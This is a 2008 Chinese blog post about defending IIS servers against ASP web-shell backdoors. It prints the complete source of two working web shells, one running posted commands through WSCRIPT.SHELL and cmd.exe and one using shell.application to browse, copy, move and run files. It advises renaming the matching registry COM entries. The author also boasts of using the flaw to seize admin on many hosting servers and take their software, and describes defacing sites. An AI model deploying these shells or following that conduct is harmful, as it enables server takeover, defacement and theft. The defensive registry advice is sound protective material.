Chinaunix首页 | 论坛 | 博客
  • 博客访问: 484228
  • 博文数量: 1496
  • 博客积分: 79800
  • 博客等级: 大将
  • 技术积分: 9940
  • 用 户 组: 普通用户
  • 注册时间: 2008-09-09 13:22
文章分类

全部博文(1496)

文章存档

2011年(1)

2008年(1495)

我的朋友

分类:

2008-09-09 13:24:43


  随着ASP 技术的发展,网络上基于ASP技术开发的网站越来越多,对ASP技术的支持可以说已经是windows系统IIS的一项基本功能。但是基于ASP技术的木马后门,也越来越多,而且功能也越来越强大。由于ASP它本身是提供的一贡服务功能,所以这种ASP脚本的木马后门,不会被杀毒软件查杀。被黑客们称为“永远不会被查杀的后门”。由于其高度的隐蔽性和难查杀性,对网站的造成了严重的威胁。因此针对ASP木马的防范和清除,为我们的网管人员提出了更高的技术要求。下面我结合个人的经验,谈一下对两款比较典型的ASP 木马的防范方法,希望对大家能够有所帮助。
  
  以下是第一款木马的代码:
  
  ASP Shell
  <%@ Language=VBScript %>
  <%
  Dim oScript
  Dim oScriptNet
  Dim oFileSys, oFile
  Dim szCMD, szTempFile
  On Error Resume Next
  -- create the COM objects that we will be using --
  Set oScript = Server.CreateObject("WSCRIPT.SHELL")
  Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
  Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
  -- check for a command that we have posted --
  szCMD = Request.Form(".CMD")
  If (szCMD <> "") Then
  -- Use a poor mans pipe ... a temp file --
  szTempFile = "C:" & oFileSys.GetTempName( )
  Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
  Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
  End If
  %>
  
  
  
" method="POST">
  
  
  

  
<%
  If (IsObject(oFile)) Then
  -- Read the output from our command and remove the temp file --
  On Error Resume Next
  Response.Write Server.HTMLEncode(oFile.ReadAll)
  oFile.Close
  Call oFileSys.DeleteFile(szTempFile, True)
  End If
  %>
  
  
  
  在命令行里输入DIR命令点执行就可以查看目录了!!它可以使用各种DOS命令,如:copy、net、netstat等。
  
  但是它的默认执行权限只有GUEST,也就是IUSR_COMPUTER用户的执行权限。当然如果你把IUSR_COMPUTER用户加入管理员组,那么你就有管理员权限了。这一款木马的特点是,使用很方便。几乎就想当于DOS命令行窗口xx作一样。但是如果服务器限制了FSO(无组件上传),那么它是没有办法使用了。还有就是在服务器以后增加的虚拟主机里也没有办法使用。只能在“默认 Web 站点”里使用,所以它相对的适用范围较窄。
  
  对于防范方法让我们看一下它的代码就知道了:
  
  Set oScript = Server.CreateObject("WSCRIPT.SHELL") "建立了一个名为oScript的WSCRIPT.SHELL对象,用于命令的执行"
  Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
  Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
  
  上面三行代码创建了WSCRIPT.SHELL、WSCRIPT.NETWORK、Scripting.FileSystemObject三个对象,我们只要在注册表中把控制WSCRIPT.SHELL对象的项改名或删除就可以了。如下图:值得注意的是:我们应该把“WSCRIPT.SHELL”项和“WSCRIPT.SHELL.1”这两项都要改名或删除。因为如我们只修改“WSCRIPT.SHELL”项的话。那么黑客们只要把代码修改如下:Set oScript = Server.CreateObject("WSCRIPT.SHELL.1") 这个后门木马就又可以执行了。
  
  大家可能已经想到了,我们在对“WSCRIPT.SHELL”项和“WSCRIPT.SHELL.1”改名时,一定要不容易被黑客们猜到,因为例如:你把“WSCRIPT.SHELL”改成了“WSCRIPT.SHELL888”。黑客们只要把代码相应的改成:Set oScript = Server.CreateObject("WSCRIPT.SHELL888"),木马程序就又可以执行了。还有就修改了注册表以后要重起WEB服务,设置才会有效。
  
  接下来让我们再来看下一款ASP后门木马程序的代码:
  
  <%response.write "一次只能执行一个xx作" %>
  <%response.write now()%>
程序所在的物理路径:
  <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
  
  asps shell.application backdoor
  
  
" method="POST">
   输入要浏览的目录

  
  copy
  

  
  move
  

  路径:
  程序:

  
  

  
  
  <%
  szCMD = Request.Form("text") 目录浏览
  if (szCMD <> "") then
  set shell=server.createobject("shell.application") 建立shell对象
  set fod1=shell.namespace(szcmd)
  set foditems=fod1.items
  for each co in foditems
  response.write "" & co.path & "-----" & co.size & "
"
  next
  end if
  %> <%
  szCMD1 = Request.Form("text1") 目录拷贝,不能进行文件拷贝
  szCMD2 = Request.Form("text2")
  if szcmd1<>"" and szcmd2<>"" then
  set shell1=server.createobject("shell.application") 建立shell对象
  set fod1=shell1.namespace(szcmd2)
  for i=len(szcmd1) to 1 step -1
  if mid(szcmd1,i,1)="" then
  path=left(szcmd1,i-1)
  exit for
  end if
  next
  if len(path)=2 then path=path & ""
  path2=right(szcmd1,len(szcmd1)-i)
  set fod2=shell1.namespace(path)
  set foditem=fod2.parsename(path2)
  fod1.copyhere foditem
  response.write "command completed success!"
  end if
  %> <%
  szCMD3 = Request.Form("text3") 目录移动
  szCMD4 = Request.Form("text4")
  if szcmd3<>"" and szcmd4<>"" then
  set shell2=server.createobject("shell.application") 建立shell对象
  set fod1=shell2.namespace(szcmd4) for i=len(szcmd3) to 1 step -1
  if mid(szcmd3,i,1)="" then
  path=left(szcmd3,i-1)
  exit for
  end if
  next if len(path)=2 then path=path & ""
  path2=right(szcmd3,len(szcmd3)-i)
  set fod2=shell2.namespace(path)
  set foditem=fod2.parsename(path2)
  fod1.movehere foditem
  response.write "command completed success!"
  end if
  %>
  <%
  szCMD5 = Request.Form("text5") 执行程序要指定路径
  szCMD6 = Request.Form("text6")
  if szcmd5<>"" and szcmd6<>"" then
  set shell3=server.createobject("shell.application") 建立shell对象
  shell3.namespace(szcmd5).items.item(szcmd6).invokeverb
  response.write "command completed success!"
  end if
  %>
  
  要查看目录,只要输入相应的目录,点发送命令就可以了。这个木马程可以完成文件的COPY、MOVE,和执行程序。但很多命令都不能用,例如:del、net、netstat等。这个木马程的功能随然简单,但是用它来黑一个网站是足够了。比如,我们可以把网站的首页MOVE到其它地方,然后我们再COPY一个同名的黑客网页进去,就行了。
  
  最要命的是这个木马适用于任何虚拟主机之中,也就是说我只要是服务器中的一个虚拟空间的用户,我就可以传这个木马上去,并用它来修改其它任何用户的主页。所以如果哪些提供虚拟空间的服务商没有打补丁的话,那真是死定了。
  
  然而在我的实践中发现,中国很多的虚拟空间服务商,特别是一些小型的服务商都没有打补丁。我利用这一漏洞拿到了很多虚拟空间服务器的ADMIN,然后好心的帮他们补上漏洞。当然我也得到了我想得到的东西——很多好的软件和代码。我现在用着的很多ASP程序就是从他们那上面偷下来,太难听了,应该说DOWN下来的才对。
  
  言归正传,我们应该怎样来防范这个ASP后门木马程序呢?让我们看一下它其中的这一句代码:set shell=server.createobject("shell.application"),跟刚才的方法一样,我们只要把"shell.application"项和"shell.application.1"项改名或删除就可以了。记住了,如果是改名,要改得复杂一点,不要让黑客们一下就猜到了。顺便说一句,如果是你给肉鸡打补丁最好是改名,并把名字记下来,这样
【责编:admin】

--------------------next---------------------

阅读(171) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~